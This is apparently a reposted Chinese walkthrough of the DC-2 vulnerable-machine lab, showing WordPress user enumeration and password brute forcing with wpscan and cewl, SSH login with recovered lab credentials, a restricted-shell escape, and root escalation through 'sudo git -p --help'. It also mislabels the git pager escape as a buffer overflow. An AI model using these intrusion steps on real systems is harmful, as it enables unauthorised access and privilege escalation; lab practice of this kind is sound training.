DC-2靶机
Posted bingtang123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-2靶机相关的知识,希望对你有一定的参考价值。
仅供个人娱乐
靶机信息
下载地址:http://www.five86.com/downloads/DC-2.zip
一、主机扫描
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-292632b3c46557fd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9d3e4aee29aadd84.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改hosts文件
windows:C:WindowsSystem32driversetc
linux:/etc/hosts
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7a366c38221fe532.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
wpscan --url http://dc-2 --enumerate u
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d4ffea544a4daaca.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-1443bcf504a67ae7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
提示cewl 爬密码
cewl http://dc-2 > 1.txt
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-1feaaf43801d7599.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
破解密码
wpscan --url http://dc-2 -U 2.txt -P 1.txt
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-8c6bc3ee29956aff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-2fce851dbaa2d51e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-492fab4c468e832c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
登录账户信息收集
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6c106661a6bbe96a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-5933e4ef58794764.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
尝试ssh登录 tom parturient 7744
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6e39d1d0fad6c8ff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查看当前环境
echo $PATH
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-85984bfe22574ee7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
有问题找百度
添加环境变量
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/ #添加$PATH,cat和su都在/bin下
export PATH=$PATH:/usr/bin #sudo在/usr/bin下
cat flag3.txt
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-0e891091a8a42525.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
Username: jerry, Password: adipiscing
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6dd2f85a62100944.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
切换账户进行信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6eb7d23e37d653ca.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
sudo -l 查看权限
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d3a8a57eec825a64.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
有git权限,git有一个缓冲区溢出漏洞,在使用sudo git -p --help时,不需要输入root密码即可以root权限执行这条命令
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-0353ce3ea7f0ed32.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
在末行命令模式输入 !/bin/bash 或 !‘sh‘ 完成提权
!/bin/bash
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-23c097ba401a0577.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
以上是关于DC-2靶机的主要内容,如果未能解决你的问题,请参考以下文章